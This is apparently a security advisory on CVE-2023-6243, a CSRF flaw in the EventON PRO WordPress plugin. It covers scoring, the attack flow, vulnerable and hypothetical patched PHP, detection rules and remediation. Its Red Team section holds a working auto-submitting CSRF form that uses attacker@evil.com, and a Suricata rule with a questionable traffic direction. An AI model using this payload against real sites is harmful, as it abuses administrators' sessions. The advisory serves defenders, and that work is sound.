CVE-2023-6243

Executive Summary

CVE-2023-6243 is a Cross-Site Request Forgery (CSRF) vulnerability in the EventON PRO - WordPress Virtual Event Calendar Plugin, affecting all versions up to and including 4.6.8. The vulnerability exists in the admin_test_email function due to missing or incorrect nonce validation. This allows an unauthenticated attacker to trick a site administrator into sending test emails to arbitrary email addresses via a forged request. The CVSS score is 4.3 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood at this time. As this is a WordPress plugin vulnerability, it is part of the WordPress ecosystem and should be addressed within that context.

Supply Chain & Package Security

This vulnerability affects a premium WordPress plugin distributed via the developer's website and third-party marketplaces. No open-source package (NPM, PyPI, Go, Ruby) is involved. The risk is limited to WordPress sites using the vulnerable plugin version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) - The attacker must trick an administrator into clicking a link.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) - The attacker can send test emails to arbitrary addresses, potentially causing spam or phishing.
• Availability Impact: None (A:N)

Threat Level: Medium. While the impact is limited to sending test emails, this could be used for reconnaissance or to facilitate further attacks (e.g., phishing campaigns). The requirement for user interaction reduces the immediate risk.

Deep Dive & Mechanics

The vulnerability is in the admin_test_email function of the EventON PRO plugin. This function is intended to allow administrators to send test emails to verify email configuration. However, the function lacks proper nonce validation, meaning it does not verify that the request originated from the legitimate admin interface.

Attack Flow:

1. An attacker crafts a malicious link or form that sends a POST request to the WordPress admin-ajax.php endpoint with the action admin_test_email and a target email address.
2. The attacker tricks a logged-in administrator into clicking the link or submitting the form (e.g., via social engineering, email, or a compromised site).
3. The administrator's browser sends the forged request, including their valid session cookies.
4. The plugin processes the request without checking for a nonce, sending a test email to the attacker-specified address.

Root Cause: Missing nonce validation in the admin_test_email AJAX handler. Nonces are WordPress security tokens that prevent CSRF attacks by ensuring requests originate from the intended admin interface.

Vulnerable vs. Patched Code

Vulnerable Code (EventON PRO <= 4.6.8):

add_action('wp_ajax_admin_test_email', 'admin_test_email_callback');
function admin_test_email_callback() {
    $email = sanitize_email($_POST['email']);
    // No nonce check
    wp_mail($email, 'Test Email', 'This is a test email from EventON.');
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_admin_test_email', 'admin_test_email_callback');
function admin_test_email_callback() {
    // Nonce verification added
    if (!wp_verify_nonce($_POST['_wpnonce'], 'eventon_test_email_nonce')) {
        wp_die('Security check failed.');
    }
    $email = sanitize_email($_POST['email']);
    wp_mail($email, 'Test Email', 'This is a test email from EventON.');
    wp_die();
}

The patch adds a call to wp_verify_nonce() to validate the nonce before processing the request. Without this, any authenticated request (via cookies) is accepted.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with EventON PRO <= 4.6.8 installed and activated.
• An administrator account must be logged in.

Exploit Steps:

1. Craft a malicious HTML page that auto-submits a form to the vulnerable endpoint.
2. Host the page on an attacker-controlled server or embed it in an email.
3. Trick the administrator into visiting the page.

Example HTML Payload:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="admin_test_email">
    <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Expected Outcome: The administrator's browser sends the request, and a test email is sent to attacker@evil.com.

Blue Team

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=admin_test_email from unexpected referrers.
• Alert on multiple test email requests to external domains within a short time frame.
• Review server logs for unusual patterns in the admin-ajax.php endpoint.

Prevention:

• Ensure the plugin is updated to a patched version (if available).
• Implement Web Application Firewall (WAF) rules to block requests to admin_test_email without a valid nonce.
• Educate administrators about phishing attacks that trick them into clicking malicious links.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=admin_test_email and email parameter.
  • Referrer headers from unexpected domains (e.g., attacker-controlled sites).
• Host:
  • Log entries in wp-content/debug.log or server access logs showing admin_test_email action.
  • Outbound SMTP connections to arbitrary email servers from the WordPress host.
• Email:
  • Test emails sent to suspicious or unknown addresses from the WordPress site.

Detection Engineering

YARA Rule

rule Detect_EventON_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against EventON PRO admin_test_email function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6243"
    strings:
        $ajax_action = "admin_test_email"
        $email_param = "email="
        $wp_ajax = "wp-admin/admin-ajax.php"
    condition:
        all of them
}

Sigma Rule

title: EventON PRO CSRF Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts against EventON PRO admin_test_email function
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=admin_test_email'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-6243 EventON PRO CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=admin_test_email"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update the Plugin: Check with the vendor (EventON) for a patched version. If unavailable, consider disabling the admin_test_email functionality via a custom plugin or code snippet.
2. Implement WAF Rules: Block requests to admin-ajax.php with action=admin_test_email unless they include a valid nonce.
3. User Education: Train administrators to recognize and avoid phishing attempts that could trigger CSRF.

Long-Term Measures:

• Code Review: Ensure all AJAX handlers in custom plugins include nonce validation.
• Security Headers: Implement Content Security Policy (CSP) and X-Frame-Options to reduce CSRF risk.
• Regular Updates: Keep all WordPress plugins and themes updated.

Workaround (if patch unavailable): Add the following code to the theme's functions.php or a custom plugin to block the vulnerable function:

remove_action('wp_ajax_admin_test_email', 'admin_test_email_callback');

Valters IT
Securing Digital Frontiers